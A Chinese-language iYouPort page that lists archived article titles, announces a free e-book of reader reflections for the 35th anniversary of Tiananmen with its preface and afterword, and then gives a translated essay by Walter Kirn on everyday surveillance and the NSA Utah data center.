18. IYP优秀书籍汇总2021（07～08 月版） - 完全免费下载 - iyouport
19. IYP优秀书籍汇总2021（09～10 月版） - 完全免费下载 - iyouport
20. IYP优秀书籍汇总2021（11～12 月版） - 完全免费下载 - iyouport
21. IYP优秀书籍汇总2022（1～2 月版） - 完全免费下载 - iyouport
22. LR 从民主到自由 - iyouport
23. 一些简单的措施以防止您的汽车被骇客控制 - iyouport
24. 一家寡头退出面部识别市场是远远不够的 - iYouPort
25. 一本新书，揭开维稳警察的秘密罪行 - iyouport
26. 一路的腥风血雨：劳工运动不为人知的故事 - iyouport
27. 与其说是互联网的末日，不如说是世界末日更容易理解？ - iyouport
28. 两个时代，同一种政治毒品 - iyouport
29. 两本截然相反的书揭示了一个值得思考的问题 - iYouPort
30. 中产阶级和底层的心理如何被法西斯主义所利用 - iyouport
31. 为什么反而是独裁者赢了？ - iyouport
32. 为什么战争成为了最赚钱的生意？：新书～“了解战争工业” - iyouport
33. 为什么民主需要隐私 - iyouport

34. 为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆 - iyouport
35. 互联网究竟是什么？ — — 来自“监视谷”惊人的启示 - iyouport
36. 互联网色情产业简史 - iYouPort
37. 人格暗杀和抹黑运动：谁在受益？ - iyouport
38. 从未"文明"：自古至今的全球加沙 - iyouport
39. 他自己的先知 - iyouport
40. 以色列国如何作为全球暴政的幕后黑手：新书《巴勒斯坦实验场》 - iyouport
41. 你只是被遗弃的尸体 - iYouPort
42. 你累吗？：倦怠的主流化 - iyouport
43. 你还是你吗？ - iYouPort
44. 党与人民：21 世纪的中国政治 - iyouport
45. 公地的奇迹 - iyouport
46. 剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制 - iyouport
47. 印钞机 - iyouport
48. 历史记忆作为武器：巴黎公社150年周年纪念之际，重温这部电影 - iyouport
49. 反对派和巴沙尔政府干着同样的勾当——叙利亚：恐怖主义犯罪 - iYouPort
50. 国安局用于映射社交网络的秘密工具究竟是什么样的：一本2020新书的摘录《黑镜》 - iyouport
51. 在中国：意识形态的爆炸点 - iyouport
52. 在正反乌托邦之间 - iYouPort
53. 在死神的肆虐中捡起被丢弃的故事 —— “我们的家园，我们自己的反抗” - iYouPort
54. 在线宣传战的结果 - iYouPort
55. 外表是骗人的 - iyouport
56. 大规模监视的时代不会永远持续下去 - iyouport
57. 如何理解愤怒的经济 - iyouport
58. 如果你是失败者 - iyouport
59. 守门人作为认知杀手 - iyouport
60. 宣传战的诡迹 - iyouport
61. 少说话，多办事 …… 当坏蛋手持宪法 - iyouport
62. 应许之地的虚假承诺 - iyouport
63. 引流暴政和生存困惑 - iYouPort
64. 当民主失败，巫术蓬勃发展：”恶魔困扰的土地” - iyouport

65. 当黑客成为英雄 - iyouport
66. 微妙的宣传 - iYouPort
67. 我们的马基雅维利时刻 - iyouport
68. 护照和长期签证的丑闻市场正在蓬勃发展 - iYouPort
69. 掏钱吧，亲 ... - iyouport
70. 推荐一本书：对匿名协作的研究 - iYouPort
71. 操作系统：如何理解现代国家 - iyouport
72. 收益递减：在内卷的世界里思考全球资本主义 - iyouport
73. 改革还是变革？ - iyouport
74. 政治的未来：当机器决定“民主”？ - iyouport
75. 斯诺登的盒子：在监视时代的信任 - iyouport
76. 时间就是基本人权，是自由理念的重要战场（996 不止是辛劳） - iyouport
77. 时间的暴政 - iyouport
78. 民主陷入黑暗：香港活动家一年的绝望和恐惧 - iyouport
79. 百年的自由之战：密文作为抵抗的语言 - iyouport
80. 监督权力的意识需要培养 - iYouPort
81. 监视资本主义的解毒剂是什么 - iYouPort
82. 硅谷正在以其阴险的意识形态破坏民主 - iYouPort
83. 秘密行动 - iyouport
84. 第二次反恐恐怖战争来了，人们有必要观看这部新电影和这本书 - iyouport
85. 终结政府 - iyouport
86. 背叛主流？精神病院欢迎你：被病理化的异议 - iyouport
87. 苏联作家联盟类似于中国作协：一个警示故事，一段非凡的历史 - iyouport
88. 茶杯里的风暴：殖民贸易及印度和中国的资本主义起源 - iYouPort
89. 被流行语掩盖着的 *技术专制主义* 时代 - iYouPort
90. 谷歌控制的世界和监视资本主义 - iYouPort
91. 资本主义时代：美国作为发展中国家的肖像 - iyouport
92. 超越民族国家：是时候结束 "主权国家" 的神话了 - iyouport
93. 趣味心理战（推荐纪录片） - iYouPort

94. 跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话 - iyouport
95. 这个世界的为什么 - iyouport
96. 这个世界需要更多 “失败者” 的传记 - iyouport
97. 这就是他们给我讲述世界末日的方式 - iyouport
98. 逃离技术封建主义的世界 - iyouport
99. 隐形政府：走进间谍的世界 - iYouPort
100. 隐私究竟是给谁的？ - iYouPort
101. 高明的反抗[video] - iYouPort
102. 魅力城市：对反抗精神的记录 - iYouPort
103. 柏林墙倒了吗？（1）：五味杂陈的卡巴莱 - iyouport
104. 欺骗不是撒谎这么简单：对峙的艺术（1） - iyouport
105. （2）被压迫者的教育学，和”高级传单” - iyouport
106. 伟大的自欺 — 战略性欺骗的心理维度（2） - iyouport
107. 柏林墙倒了吗？（3）：”我第一次感到害怕” - iyouport
108. 柏林墙倒了吗？（4）：种族的神秘性 - iyouport
109. 让你看见 — 欺骗的积极方法之二（5） - iyouport
110. （13）超越抗议 - iyouport
111. （24）在社交媒体上”抗议”有什么问题？ - iyouport

介绍

本书涉及隐私、安全、调查、心理、运动等多个重要主题，内容丰富、涵盖面极广，是帮助您提升认知、掌控命运的集大成之作。

Iyouport档案室收录了新项目开始前（2024年8月）列表1～5中可找到的2390篇文章，有极少几篇文章因过于久远无法获取。为方便离线阅读，书中大部分指向iyouport文章的链接都已换成内部链接。书中不包含原文的图片、视频、twitter引文。缺失的大部分图片不影响内容完整性。每篇文章末尾都有原文链接。可能会有少数内部链接失效，如您发现错误请以原文为准。文章顺序不严格按照目录排列，请多用目录。

可免费分享，请勿商用。

IYouPort站点群

新项目 Initiatives and Tactics

substack站：iyouport.substack.com

Telegram：t.me/iyouport

免费书籍和时政Post：patreon.com/iyouport

区块链备份站点：matters.town/@iyouport

长毛象：@iyp_iyouport@m.cmx.im

Twitter：@iyouport_news

“三十五年后，我长大了… : IYP读者为天安门广场起义35周年贡献思考 - iyouport

你应该了解的现实

机会就快来了…

我有一个好消息，和一个坏消息，你想先听哪个？…… 这不是在提问。而是在描述IYP近半年多来对来自华人异议社区新动态的一点体验。

好消息是，似乎有越来越多的基层团队开始尝试更深入完整地进行讨论，形式多样，并在一定程度上能摆脱集中化互联网造成的诸多问题。这是极好的进展，虽然目前似乎还没有足够多的具有建设性价值的议题。

坏消息是，跨代际的交流和经验共享越来越低，甚至一些日久年深的矛盾又开始膨胀。这违背所有人的利益。

去年的白纸系列中**IYP**主要强调了两件事：社会默契契约跨越三十多年后的重启，以及，自组织的跨代际跨国界的横向联合。现在有明显迹象显示，镇压工具在瞄准这两项最高价值进行破坏。

于是，我们借着天安门起义**35**周年纪念的日子，开启了一个研讨。

一方面，通过交流，我们了解到部分热心读者的想法，并至少在短暂的会议中引导出十余个值得更多深入探讨的议题，将其编写成本书。另方面，将本书作为一场小型的开放性的活动邀请，尝试重新加强异议社区各年龄层成员的精神纽带。

这场会议也让IYP受益匪浅，我们听到了一些与以往不同的、更加令人兴奋和赏心悦目的答案，小惊喜。所以我们希望它能成为一项具有生命力的活动，而不仅仅是一次性的聚会 —— 从这里起步，不断拓宽探讨空间、不断推动政治竞争、不断深化思考，行动项目更加成熟和智慧。

为此，我们借助本书征集各种创作。包括：

> 1、您可以使用本书文字结合您的创意去制作各种不同形式的视觉衍生作品，在任何地方播放和分发；完全免费，

加入上述任何活动的朋友，请使用标签 #三十五重新连接。

先行致谢！

本书有三个版本，其中一个版本是上述第一项活动的结果。

3个版本：

1、（PDF）

https://drive.google.com/file/d/1WOKwoM9Io0G2lKvgYn71MkpEYcWcSJUs/view?usp=sharing

2、（Pages）

https://drive.google.com/file/d/1iD_Ldry-tb22rU8zdhDf803GFXzv9YWz/view?usp=sharing

3、（另版PDF）

https://drive.google.com/file/d/1jKOmA7wOhjpDzLvhjOO6azSwQYPl1Aah/view?usp=drive_link

您也可以在我们的频道下载：t.me/iyouport

下文附本书序言。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

IYP读者为天安门广场起义35周年贡献思考

晚辈序 - 35年后，已大不同

「图」

大家好，我是晚辈。

我被邀请加入这场题为“八九起义三十五周年”的研讨，关于在这一主题下，“今天的我们正在思考的事”。

其实远不止今天、今年、或者最近这些年，自从我了解到这段历史后直到现在，所有的想法就只有一个：如何赢回来。

我觉得这应该是任何支持天安门起义的人们的共识，不论你多大年纪，不论你是否曾经参与。是这份共识让我们大家在今天走到一起。站在一起的我们将打开明天的大门。

IYP说，新的局面正在开启，接下来的十年将是前所未有的“机遇”。但能抓住的才算机遇，错过的就只能是遗憾。

我有幸获得了撰写这篇序文的机会，虽然我和其他人一样对今天、对周围、对明天的各种预言，忧心忡忡。但我依然会坚持所有能够立刻开始的脚踏实地的工作，尽管在很多其他人看来所谓的“小政治”不值一提。（顺便说，这样认为的人中有很大一部分信仰的是听床，他们将拜占庭理解为“大政治”。）

今天，很多人处于过于乐观或者过于悲观的两极状态下。虽然表面看起来一定程度上“大洪水/核平论”正在过时，但随着经济下滑，十几年前的所谓阈值论又开始被重新信任。这种自由派的空中楼阁式猜想认为，只要压力足够大，人民就会奋起反抗；支持这种想法的人因此对任何基层抗争都失去了兴趣，只是一味地为所谓的“倒车”、“加速”欢呼。

然后他们和他们的空中楼阁将再一次被残酷的现实击碎 —— 阈值不起作用，社会不是高压锅，而是海绵。再然后，那些人又将得出同样的结论："人民不行"；"素质太低"；"天生奴才基因宁死也不会哼一声" …… 所以"还是欠殖民"、或者干脆直接"核平"吧。绕一大圈后又回去了，在两极之间跳跃。这就是典型的去政治化。

对不公正和匮乏缺乏大规模反应的原因在于，统治培养了一种习得性无助，在统治中习以为常的人们倾向于回避那些令人沮丧的结论：「如果我意识到统治我的是个草台班子，制度已经彻底腐朽，那么我就需要以某种方式做出反应 …… 能做些什么呢毕竟我孤身一人，如果我什么都做不了，那为什么还要继续睁着眼睛折磨自己呢？我不看不想不就行了么 …… 」的确有时候一些人会走上自我毁灭的道路（就像最近出现的那些跳桥新闻），但更多的时候，他们只会接受现实，适应现实。

素质论的自由派们最终变成了大洪水的疯子。这种错误近些年来不断普遍化。出错的基础是这些人颠倒了政治行动的方案，他们误以为先有观念后有行动。而实际上，人们首先要有一定的有效行动空间，然后才会在实践中形成政治观念。这就是为什么在中国你会发现很多人根本没有政治观念和偏好，忽左忽右不明事理，因为他们几乎没有任何实践的机会（对这样的社会讲述战略理论也非常吃力，很难期待人们能想象出全景）。

现在，一切都被推到了节骨眼上。

那些叫嚷着对台战争的人，不论持什么立场（国家主义暴徒还是所谓的民主派嘴炮异议）、不论依照任何逻辑（甚至有人认为一旦开战党国必然灭亡，从而"民主自由就到来了" 这是说梦话呢），不论你觉得自己有多合理（显然控制战争的人不会理睬你们中任何人的意见），都请不要忘了，战争并不会导致民主变革，战争只会杀人。战争一旦开始，政治行动的空间只会成倍缩小 —— 国内会受到更严格的压制（"紧急状态"是所有统治者的便利工具），同时政治重心向外转移，所有注意力都被锁定到前线，所有身边的迫害都将变得"可以忍耐"。战争只会导致最高程度的去政治化。

旧的正在逝去，新的尚未诞生，毫无疑问今天的每个人都在不同层面不同程度上感受到了迷离和焦躁。表达不满和寻求解释的呼声弥漫在空气中比以往更加浓烈 —人们希望了解自己的处境，以及等待我们所有人的是什么。物质世界的危机催生了思想和理论的危机。这是今天的我们和三十五年前最大的不同。

我出生于八九后，没有对这段历史的亲历。但我知道，在消费主义中浸泡了几十年后这个社会已经不同曾经 —— 挑灯夜读的莘莘学子们图的不再是知识和真理，而是名校学历的光环和阶级攀升的筹码；加班加点辛苦劳作的“工人”们已经无心寻求公正和权益，他们只想着赶紧攒够了钱自己当老板，去剥削其他人；而倡导者还在使用“正义良知”这类空泛的概念试图说服人们，那是没有意义的。恐惧、顺服、“敌人太强大了啊” 等等都不是人们拒绝加入抗议的原因，真正的原因是，对不利的效率/风险比的判断。

如果确信自己站出来加入行动就能真正对结果产生影响、就很可能会推进一个脑海中渴求已久的新局面，那么不消说，所有人都会主动加入，甚至一些人愿意殊死一搏。但如果一个人认为不论自己做什么都不会对实际问题产生任何影响，那么哪怕受到一点点伤害也被认为是可怕的和无法承受的。

就像绝大多数人都会在没有未来的爱情面前退缩一样，抱怨人性冷酷无情不会帮你改变任何事，相反，作为爱的倡导者你应该思考的是，为什么没有未来？是什么阻止了共同的未来？“未来”被篡改成了什么性质……

IYP 一直在强调跨代际的团结，这也是本书的宗旨。但我想对一些前辈们说，我们中任何人对身份的痴迷，都会导致我们所有人的孤立，进而集体的失败。那是没有任何人能承受的损失。当规避。

虽然很遗憾这场活动没能邀请到更多前辈，唯希望本书能让前辈们至少了解一些关于我们这些“缺少经验的孩子们”目前的思考方向。

反抗社区的精神纽带是统治者最大的噩梦。对此，我们都应该知道该怎么做。

PS：本书中每个章节都不是详尽的论述，而是议题本身；所有议题都可以也应该能够引发更深层的探讨，更好的是，对行动的促进。期待更多前辈们贡献智慧。

□

前辈跋 - 奋斗在后革命的转型期

「图」

大家好，我是前辈。

不过，不是大家想象的那种前辈，譬如流亡在海外的学生领袖，或者“长胡子的”幕后“黑手”，也不是在国内饱经磨难、身陷囹圄的民主人士，或者经历了“八九”然后在1992年后的市场经济浪潮中投身商海、回归体制、成为中产阶级一员。这些都是一个社运的生命周期的末段，也就是漫长的消退期所发生的演变矩阵，运动参与者通常做的三个选择。

但是，作为参加了那场运动全过程的我，在过去35年里的选择不同于上述三种，也不是欧美社运通常的第四种选择——激进化，而是选择了一种混合的生存方式：一方面尽力融入社会和体制，继续着中产阶级的再生产；另一方面悄然坚持，投身在各种新型的社运中，操演和积累着这本手册所讲述的和未曾讲述的经验、技巧和理论。

在这个意义上，对于如何纪念那场35年前的运动来说至少有一种可能，就是坚持社运的操演，而不仅仅再生产着集体记忆，尽管后者自然也是重要的，几乎是一般情况下唯一能做的、籍此保持运动后的认同，而且可能还是秘密的认同。

这就是1989年革命的社会遗产，非常的严酷，也非常的分化。尤其对那些流亡在外的“老89”一代来说，甚至还面临着与新一代社运者的冲突，例如他们与“白纸运动”和“女权主义者”的代际冲突。其中原因，很大程度上或可说，就是缘于他们永远停留在了1989的记忆里，停留在对下一次革命的无限期盼中，无从认知镇压政权的变化，也未能从新的运动中学习，更不用说发起、资助或者参与新的较为温和的社运或者小型的反抗行动。相反的，镇压当局反而一直在不断地从镇压中学习，努力阻止和预防下一次革命的爆发。

这也是身为所谓前辈的尴尬，很容易成为未来革命的障碍。

而避免尴尬的唯一方法，也很简单，那就是不断地在干中学，在后革命的转型期努力生存，融入到主流社会，也积极参与公民社会的建设，坚持和观察各种抗争形式。更重要的，如同这本小册子的背后，需要不断的书写，无论是坚持不懈地撰写公共评论，还是进行理论阐述，无论是对1989运动的反思，还是对新兴社运的总结和批评，除了行动本身，写作几乎是所谓前辈，那些坚持抗争的前辈，唯一能做也必须做的事情，否则泯然众人矣，并没有任何资格堪称前辈，最多只能算作是幸存者。

幸好，还有IYP等等“晚辈”在，中国的民主革命不会亡。

□

3个版本：

「图」

1、（PDF）

https://drive.google.com/file/d/1WOKwoM9Io0G2lKvgYn71MkpEYcWcSJUs/view?usp=sharing

2、（Pages）

https://drive.google.com/file/d/1iD_Ldry-tb22rU8zdhDf803GFXzv9YWz/view?usp=sharing

3、（另版PDF）

https://drive.google.com/file/d/1jKOmA7wOhjpDzLvhjOO6azSwQYPl1Aah/view?usp=drive_link

您也可以在我们的频道下载：t.me/iyouport

Quotes

「图」

> 媒体政治的根本局限就在于此 —— 它本身并不能创造政治行动。如果在观看反对派频道的同时没有进行政治参与的基础设施（各方面的基础设施，从战略性项目到认知和经验），那么这些频道内容就不可避免地沦为媒体垃圾，浅薄，呆萌，夸张和无意义 ……

一些流传的游击战操作手册和抵抗策略（尤其是非暴力偏执狂那种），通常有一个共同的缺陷就是，基本都是为那些能够对行动团体直接行使权力的核心管理人员编写的。因此从一开始就有许多特殊性。

中国这种一盘散沙的情况在此有很大的不同。所有能够读到这些知识并从中学习的人，都只是其他小团体中的小团体，更多的仅仅是个体。没有中心，执行者没有权力，甚至连亲密队友都没有 ……

那么，该怎么办？

> 左派这个词，在全世界都是极其混乱的，不仅在中国混乱。不夸张的说，在某些情况下，这个概念可能导致你难以跟任何人完整解释任何东西。你会恼火到“去他妈的一切”。

不论是推特上贩卖口水的“政治预言家”，还是抖音上胡说八道的“心理辅导”，或者小红书上各种廉价和荒唐的“速成版人生进阶指南”，这些狗屎本身并不是问题，问题在于，有着非常庞大的观众群体需要它们。是真正的需要。

为什么会这样？

> 从这个问题中可以引申出两个反对民主的论点：(1) “普通公民”过于局限和狭隘，如果没有 “精英" 的监督，“普通人”只能复制已知的模式；(2) 只有专家才能看到 “全局"，并有足够的洞察力来区分什么是好什么是坏。

当武装部队被叫到街上，但拒绝向人群开火时，革命的局面就会出现。然而，最经常发生的情况是，在最初的起义中袖手旁观的武装力量后来又重新出现，成为革命命运的最终仲裁者，确保了旧政权和后来者之间的连续性……

斗争在其将无产阶级的不同片段编织在一起的能力中找到力量。起义之所以成功，是因为在整个国家，来自各行各业和社区的人们找到了自己的参与方式。这在原子化的、被竞争关系严重拆散的社会中尤为重要。

原文

"如果你不偏执，那就是疯了" - iYouPort

你应该了解的现实

这是一篇很棒的文章，它讲出了当今社会绝大多数人内心的惶恐，以及这种惶恐形成的原因 —— 是的，这不是我们的问题

如果你是中国互联网居民，超过60%的可能下你会记得有关 “脑控” 的阴谋论，这个传闻直到如今仍活跃在 Twitter 中文圈一个很小的范围内。

很多人嘲笑过它，其中有些人还做出了关于为什么它不可信的科学的分析。但我们没有，因为我们能猜到它的来历 —— 它来自于"恐惧"，来自于对背后那个巨大的不可知的黑手的忐忑不安。

阴谋论已经变成了一个奇怪的词，一方面它被那些期望隐瞒真相的人用作挡箭牌，而另一方面，曾经意识到哪里不对劲却没有足够证据的人，在很多年后被证明是对的。

顺便说。脑控这种事真的有，但真实的脑控比传说中的描述那种可要科学得多了，也因此更为有效。在下面看到一部分介绍：

- 《政治营销正在努力透射你的大脑》
- 《深入你的大脑，窥探你是否忠诚》
- 《解密文件：如何遥控大脑？》
- 《持续的监控如何损伤了你的大脑？》

等下！本文的主题可不是脑控，而是一种更全面的控制 —— 在这种情况下正如标题所述：”如果你不偏执，那就是疯了”。

这是一篇很棒的文章，虽然有点长，真的希望您能读完，因为它讲出了当今社会绝大多数人内心的惶恐。你会有同感的。（如果您觉得哪部分文字难以理解，可以参见我们关联的文章）

作者 Walter Kirn 是蒙大拿州的作家，《Blood Will Out》的作者。

「图」

「图」

我知道那周我们在商店买了核桃，我想在燕麦片里加些核桃。我喊妻子，问她把核桃放哪了。她正在浴室里洗脸，水龙头开着，而且一定听不到我的声音 —— 她没有回答。

我在没有她帮助的情况下找到了那袋坚果，然后放了一点在我的碗里。我的手机正在桌子上充电。很无聊，我拿起手机来检查应用程序是否可以无线获取我一个月前开始佩戴的健身手环的数据。

我看到上面显示我在前一天晚上睡了将近八个小时，但是只有两个小时的“深度睡眠”。我发现我已经达到13,000步/天之目标的30%。

然后，我注意到在一个小窗口中保留了一条消息，这个位置用于保留其他健康提示。上面写着“核桃”。它告诉我多吃核桃。

这可能是巧合，是偶然。尽管如此，它还是让我低头看了一下腕带，然后看了一眼手机，这是一种全新的型号，具有许多未知的未经测试的功能。

我的手机是否已通过麦克风窃听了我说的话、然后以某种方式将其中继到腕带，然后向应用程序发出信号？

这些设备背着我窃窃私语（我知道它们 “配对” 时会是什么样），但是突然之间我对它们之间的关系感到毛骨悚然。

它们还和谁窃窃私语？还有什么？它们之间的谈话发生了什么？它们是临时存档的、及时清理的、还是永久合并到名称太过令人迷惑的“幽灵”实体中？

> “我认为它正在扫描我们，” Dalton 说，有件事告诉我他是对的。

那是2013年的冬天，这些 “核桃时刻” 一直在增加，每当我上网时都会发生些微刺激。

去年夏天的一个晚上，我开车去好莱坞一家艺术馆认识一个朋友，这是我多年来第一次访问艺术馆。

而就在第二天早上，在我的收件箱中，有好几封垃圾邮件催促我投资

艺术品。这很容易弄清楚：我在 **Google Maps** 中输入了画廊的名称以导航。

另一个简单的跟踪记录是自从我查阅了洛杉矶（地区）戒酒匿名互助组的在线日历以来一直受到的毒品和酒精康复中心的邀请。

由于AA的会员身份应该是机密的，因此这些电子邮件使我感到恼火。他们自以为是的贴心令人厌恶。

而且，这些让我感到不安的提示中有些很难解释。

例如，在我的 Facebook 页面上，“我可能认识的人” 标题下出现的一位加利福尼亚音乐家，这个人是我在一次私人住宅里的匿名戒酒互助组上碰到过几次的人。

按照匿名互助的惯例，他从未告诉过我他的姓氏，也从未询问过我的名字。据我所知，我们只有一个共同的朋友，一位特别孤独的老年小说家，他完全避免使用计算机。

我在一个在线技术论坛上进行了一些研究，得知：这位音乐家将我的电话号码输入了智能手机的通讯录中（编制电话清单以备不时之需是AA的仪式）很可能触发了将其全名和照片发送到我的 Facebook 页面上的机制（Facebook 在读取你的手机通讯录）。

「图」

「图」

然后是那种特殊的心理入侵。

一个晚上，大约在我的手机建议我多吃核桃之前的一年，我正在研究现代间谍软件话题为一本我想写的书，当时我偶然看到了一部令人毛骨悚然的 YouTube 视频。

视频中包括来自中东一家旅馆的监控录像，据称代表以色列行事的秘密特工暗杀了哈马斯的一名高级官员。

我看着特工们如何跟踪他们的目标，目标显然是在他的房间外被谋杀的，然后他们又重新出现在走廊上，就像没事一样按下电梯。

由于其中一位特工是女性，因此我在浏览器的搜索栏中输入了这些词：“摩萨德勾引技术”。

几分钟后，一则横幅广告出现在 Ashley Madison 的网站上，该网站是已婚人士的通奸约会网站，最终遭到黑客攻击，使数千万出轨者的个人信息被曝光在网上。

当我再次尝试观看那个监视录像时，出现了一个视频广告，是圣塔莫尼卡的一位离婚律师，距离我在马里布（Malibu）公寓只有几英里……

通奸，离婚。我在这里看到了一种模式，一种特别不受欢迎的模式，因为当时我刚订婚。

显然，一些残酷的算法押注了我即将完成的结婚最终会崩溃，并为我提早准备了退出选项。

只是因为我在搜索引擎中输入了“勾引”这个词就将我标记为无赖吗？还是公式更复杂？或者与我最近几周的在线选择有关？—— 我细读过的柏林旅行指南、浏览了给我报价的保时捷敞篷车、向我发送虚拟生日贺卡的前女友 —— 都表明我的渴望和挫败感否认得太深了吗？

后来我读到 Facebook 通过巧妙的计算机化侦探工作可以分辨出两个用户何时坠入爱河时，我想知道，Google 是否也有类似的功能。

- 是啊，谷歌有《看不见的独裁》
- 每一个算法专制都有，它们不仅了解你，还据此操纵你《你正在如何被操纵：这是每个人都难以躲避的无形专制【video】》
- 算法暴政造就的是《无形的极权主义》

让我感到惊讶的是，搜索引擎可能比我自己更了解我的潜意识 —— 这种可能性不仅使它可以预测我的行为，而且可以操纵我的行为。

失去隐私、失去自由意志，这真是令人毛骨悚然的想法。

- 《"你真的想要思想自由吗？如果是，可以怎么办"？》

大约在同一时间，我考虑改变自己的汽车保险政策。我了解到，Progressive 为某些同意为其汽车配备称为 Snapshot 的跟踪设备的驾驶员提供了折扣。

居然有人做过这样的交易这一事实使我感到惊讶。对我来说，独自一人呆在车里的时间是神圣不可侵犯的，这是一种自我交流，为了一点金钱而放弃自我完全不可思议。

我与朋友分享了这一观点。他回答：“我不太清楚这个问题。你在汽车上所做的某些事令你引以为傲吗？坦白说，你听起来有点偏执。”

我的朋友在这两个方面都是对的。是的，我做了一些我不为之骄傲的事（那不是我生为美国人的基本权利吗？）；是的，我有点偏执。

我要是不偏执就是真的疯了。

「图」

「图」

那天晚上，我看见或听到了我的第一架黑色直升机，因为在晚上看不见黑色直升机（这是美国一个热门传言故事，类似黑衣人的概念）—— 我已经开始确信，所谓的明智的大多数最欠缺的恰恰是偏执，他们应该为此道歉。他们将各种警告和轶事仅仅作为错觉或城市传说而过目即忘，或只是耸了耸肩，而这些警告和轶事如今在很多情况下都获得了坚实的证据。

摩门教长老在1975年就说过，人们很快就必须随身携带“芯片”，否则就会“被赶出去”。

- 现在已经得到了证实《你愿意让公司在你体内植入芯片吗？》

80年代，前陆军士兵说过，“天上的眼睛”可以读我的车牌。

- 也已经得到了证实《上帝之眼：一个没有秘密的世界意味着什么？》

在1993年，我的女友就以“他们会保留租借物品清单”为由，禁止我租借色情视频。

- 太明智了《如何做到完美隐身：直面你的对手—6大原则（1）》

2011年，那位好莱坞演员因体重增加而拒绝和我一起在平台上日光浴，当时他的安全专家就警告他说：狗仔队是使用无人机偷拍的。

- 简直是圣明/而且不仅是电影明星需要小心：《空中监视如何追踪抗议者？》
- 《如何防止被无人机监控？（热成像监控的抵制方法）》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突

时代》

大约在爱德华·斯诺登（Edward Snowden）曝光棱镜计划和XKeyscore全球监视计划之前的一年，那位纹身的研究生就告诉我，他的一个儿时朋友曾在军事情报部门工作，此人拒绝参加任何野外聚会，除非客人同意将自己的手机锁在汽车后备箱里或冷藏箱中，最好能把电池卸下来。他还承认自己通过笔记本电脑的摄像头窥视女友。

- 没错，斯诺登曝光的是证据，而不是新鲜事，见我们推荐过得到一本书《美国间谍、和匿名真相》
- 《斯诺登：智能手机本身就是不安全的东西》
- 《在斯诺登之前，国家安全局的间谍已经试图从内部煽动变革》

我发誓从那一晚之后我再也没有嘲笑过这样[“偏执”]的人。那是**2014**年**1**月，我站在犹他州萨拉托加温泉附近的国民警卫队基地边缘的一块结冰的雪地上，这是一个全美式定居点，茂密的旗杆和豪华的前廊，就在盐湖城南部。

> 重要的是在自动取款机停止工作、杂货店被抢劫一空后，要活下去……

我去那里是为了反间谍。我想亲自近距离地观察现代监视中心之一：美国国家安全局最近建造的犹他州数据中心。

确切的说，我不确定自己要干什么 —— 也许只是对间谍过程感兴趣，即使在斯诺登披露其运作方式之后，这个过程似乎也是难以捉摸和幻想的。

国家安全局（NSA）温和地将这些记录仅作为“数据”呈现，并且无形地、无声地收集了所有这些记录 —— 电话记录、电子邮件、浏览历史记录，人们产生的数字照片库需要有形的实物存放处。

就是这样：这个价值数十亿美元的设施明确被设计用于解读、分析和存储海量的信息，然而，这些信息的最终用途是未知的。

谷歌的数据挖掘仅仅是为了向我们出售产品，而政府实施的数据挖掘会被用来操纵我们认同他们指挥的政策、程式、甚至战争。

- 《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》
- “政府的间谍行为” 专栏《他们是如何抓捕说真话的人？⚠灾难

和教训》

我知道，我的许多同胞对自己的平庸自大感到安慰：您过着无聊的生活，觉得自己没有什么可怕的。但是，你如何确定新的间谍能力会在什么时候以什么方式被使用呢？新工具具有滋生新滥用的特点。

通过我发现的详细日志显示 —— 例如我在亚马逊上购买的商品、在线的评论、甚至是我在生物世界中的曲折行为，都是被生物识别扫描仪或警车上的车牌阅读器收集的，有一天可能会以一百种完全不同的方式用于我现在无法理解的目的。

- 监视资本主义把在线时间和现实世界连接在一起了，结果就是《你家冰箱如何作为呈堂证供？》
- 《与警察私通追踪你的人生轨迹》

「图」

「图」

有关数据中心的所有内容都进行了分类，但是有报告泄露出来，暗示了其运营的规模。

- 详见《"窃听室：揭秘国家安全局隐藏在八个城市中的间谍中心"》

网络上的航拍照片显示出一幢长条形的混凝土建筑，在宽阔的裸露山坡上排列成新月形。据说该中心需要足够的电力才能运作。

- 见《“任何目标，随时随地”：解密文件曝光NSA突击部队的监视行动》

为防止服务器过热和融化而设计的冷却装置会消耗大量的水 —— 我读过资料，每天运转将近200万加仑，水来自附近的水库。

这种统计数据无法传达的是该中心数字核心的效力 —— 它可以容纳、组织、筛选和解密多少信息？

根据政府举报人和前国家安全局高级密码学家 William Binney 等专家的说法，答案很简单，那就是：它可以容纳今天、明天和未来几十年产生的几乎所有数据。这个数据中心，毫无疑问，把人类无穷无尽的未来都装进了盒子里。

和我在一起的是一个名叫 Dalton Brink 的朋友，他是前海军核技术员。

我们前一天晚上从蒙大拿州开车过来，收听了凌晨几小时的AM脱口秀节目，这些主持人悄无声息的启示令人着迷、引人入胜，充斥着怪诞的民俗能量：我们国家的领导人拥有爬行动物的DNA、遵循可憎的性崇拜。

对于那些了解小说是为了传达真相而歪曲真相的人来说，这些故事的字面意义就不重要了。噩梦是新闻的一种形式。

在出行前几天，我们通过电子邮件交流了有关这次计划的信息，而且使用了各种可能引起国家间谍感兴趣的关键字，并且从技术上讲，可以通过手机中的GPS芯片对我们的一举一动进行监视。

简单说，我们是完全暴露的。

- 《比GPS更准确地定位你》

更不用说泄漏文件显示的 “黄貂鱼” 技术的泛滥，这些秘密设备吸取附近一切手机的数据。

- 不要错过《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》
- 《黄貂鱼的崛起》
- 尤其是，现在有了比黄貂鱼更厉害的监视工具，美国制造，见《美国科技巨头如何帮助中国建立大规模监视系统》

如今每个人都知道，只要你被间谍盯上了，你的电话可能已经被远程激活以用作窃听设备，这一功能最早可追溯到2006年，当时联邦调查局在调查中就采用了这种战术。

第二天早上，当我们醒来时发现我们的汽车轮胎漏气了，那些 “疯狂的猜测” 似乎变得不那么疯狂了。是长而尖的螺丝造成的。

由于在行驶过程中轮胎状况一直良好，因此爆胎一定发生在盐湖城，我们在那里过夜。

毫无疑问，这是一种调皮的恶作剧。然而，有一个疑问，不是很多，而是一部分。棱镜、XKeyscore、黄貂鱼。他们对任何曝光秘密监视的记者保持敌意。

